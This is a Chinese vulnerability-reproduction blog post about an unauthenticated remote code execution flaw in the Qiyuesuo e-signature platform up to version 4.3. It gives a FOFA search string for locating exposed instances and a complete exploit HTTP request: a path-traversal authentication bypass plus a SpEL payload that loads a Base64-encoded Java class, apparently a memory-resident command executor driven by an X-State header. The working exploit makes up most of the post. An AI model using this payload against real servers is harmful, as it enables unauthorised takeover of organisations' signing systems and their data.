契约锁电子签章平台 add 远程命令执行漏洞

admin 2024年6月30日07:42:50评论6 views字数 10658阅读35分31秒阅读模式
 

0x01 免责声明

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02

产品介绍

契约锁电子签章平台是上海亘岩网络科技有限公司推出的一套数字签章解决方案。契约锁为中大型组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字可信基础解决方案,可无缝集成各类系统,让其具有电子化签署的能力,实现组织全程数字化办公。通过接口与组织的OA、HRM、CRM等系统集成,让现有管理系统具有电子签能力。系统按需配置,实现文件本地化存储。
0x03

漏洞威胁

契约锁电子签章平台 /captcha/%2e%2e/template/html/add 接口处存在远程代码执行漏洞,未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码,获取服务器权限。经过分析和研判,该漏洞利用难度低,可导致远程代码执行,建议尽快修复。
影响范围:契约锁电子签章平台version <= 4.3
0x04

漏洞环境

FOFA:

app="契约锁-电子签署平台"

契约锁电子签章平台 add 远程命令执行漏洞

0x05

漏洞复现

POST /captcha/%2e%2e/template/html/add HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.155.44 Safari/537.36Content-Type: application/jsonX-State: whoami{"file":"1","title":"2","params":[{"extensionParam":"{"expression":"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='T (org.springframework.cglib.core.ReflectUtils).defineClass("QysTest",T (org.springframework.util.Base64Utils). decodeFromString("yv66vgAAADIBKAoAIQCWCACXCgCYAJkKAJgAmgoAmwCcCACdCgCbAJ4HAJ8IAKAIAKEIAKIIAKMKAB8ApAoApQCmCACnCgCYAKgKAKUAqQcAgwoAmACqCACrCgAsAKwKACEArQoAHwCqCACuCgAfAK8KALAAqggAsQoALACyCACzCAC0BwC1CgAfALYHALcKALgAuQgAugcAuwgAvAgAvQcAvgoAJwC/CgAnAMAKACcAwQgAwgcAwwgAxAgAxQkAxgDHCgDGAMgIAMkHAMoIAMsIAMwIAM0KAM4AzwoALADQCADRCADSCADTCADUCADVBwDWCgDXANgKANcA2QoA2gDbCgA9ANwIAN0KAD0A3goAPQDfBwDgCgBFAJYIAOEKACwA4goARQDjCADkCADlBwDmCgBMAOcIAOgHAOkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxReXNUZXN0OwEACGRvSW5qZWN0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAV2YXIyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAV2YXIyNgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAV2YXIyNwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABXZhcjMxAQAFdmFyMzIBABJMamF2YS9sYW5nL09iamVjdDsBAAV2YXIzMwEABXJlcG9uAQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlyZXN1bHRTdHIBAAZlbmNvZGUBAAV2YXIzMAEABXZhcjI5AQABSQEABXZhcjIxAQAFdmFyMjIBAAV2YXIyMwEABXZhcjI0AQAFdmFyMjUBAAV2YXI3OAEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwEABXZhcjIwAQAFdmFyMTkBABJMamF2YS9sYW5nL1RocmVhZDsBAAV2YXIxOAEABHZhcjgBAAR2YXI5AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAV2YXIxMAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAFdmFyMTEBAAV2YXIxMgEABXZhcjEzAQAFdmFyMTQBAAV2YXIxNQEABXZhcjE2AQATW0xqYXZhL2xhbmcvVGhyZWFkOwEABXZhcjE3AQABWgEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAA21zZwEADVN0YWNrTWFwVGFibGUHAMMHAOoHAOsHAJ8HALUHAOwHALcHALsHAL4HAGcHAOYBAApTb3VyY2VGaWxlAQAMUXlzVGVzdC5qYXZhDABQAFEBAAVzdGFydAcA6gwA7QDuDADvAPAHAOsMAPEA8AEAHW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3RJbmZvDADyAPMBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEubGFuZy5UaHJlYWQBABVqYXZhLmxhbmcuVGhyZWFkR3JvdXABACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvAQAHdGhyZWFkcwwA9AD1BwDsDAD2APcBAAZ0YXJnZXQMAPgA+QwA+gD7DAD8AFgBAARodHRwDAD9AP4MAP8BAAEACUVuZHBvaW50JAwBAQECBwEDAQAab3JnLmFwYWNoZS50b21jYXQudXRpbC5uZXQMAQQBBQEABnRoaXMkMAEACmdldEhhbmRsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAQYBBwEAEGphdmEvbGFuZy9PYmplY3QHAQgMAQkBCgEACWdldEdsb2JhbAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BAAZnbG9iYWwBAApwcm9jZXNzb3JzAQATamF2YS91dGlsL0FycmF5TGlzdAwBCwEMDAENAQ4MAPoBDwEAE2dldFdvcmtlclRocmVhZE5hbWUBABBqYXZhL2xhbmcvU3RyaW5nAQADcmVxAQAHZ2V0Tm90ZQcBEAwBEQB8DAESARMBAAtnZXRSZXNwb25zZQEAEltMamF2YS9sYW5nL0NsYXNzOwEACWdldEhlYWRlcgEAB1gtU3RhdGUBAAdvcy5uYW1lBwEUDAEVARYMARcAWAEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyBwEYDAEZARoMARsBHAcBHQwBHgEfDABQASABAAJcQQwBIQEiDAEjAFgBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyAQAFVVRGLTgMASQBJQwAaQEmAQAJYWRkSGVhZGVyAQAHc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAScAUQEABWVycm9yAQAHUXlzVGVzdAEAEGphdmEvbGFuZy9UaHJlYWQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlnZXRQYXJlbnQBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAApnZXRQYWNrYWdlAQAVKClMamF2YS9sYW5nL1BhY2thZ2U7AQARamF2YS9sYW5nL1BhY2thZ2UBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAFY2xvbmUBABQoKUxqYXZhL2xhbmcv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"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject()';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a['parseExpression'](deStr);c.getValue();"}","name":"test"}]}

契约锁电子签章平台 add 远程命令执行漏洞

0x06

批量脚本验证

Nuclei验证脚本已发布

原文始发于微信公众号(冷漠安全):「漏洞复现」契约锁电子签章平台 add 远程命令执行漏洞

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月30日07:42:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   契约锁电子签章平台 add 远程命令执行漏洞https://cn-sec.com/archives/2900567.html

发表评论

匿名网友 填写信息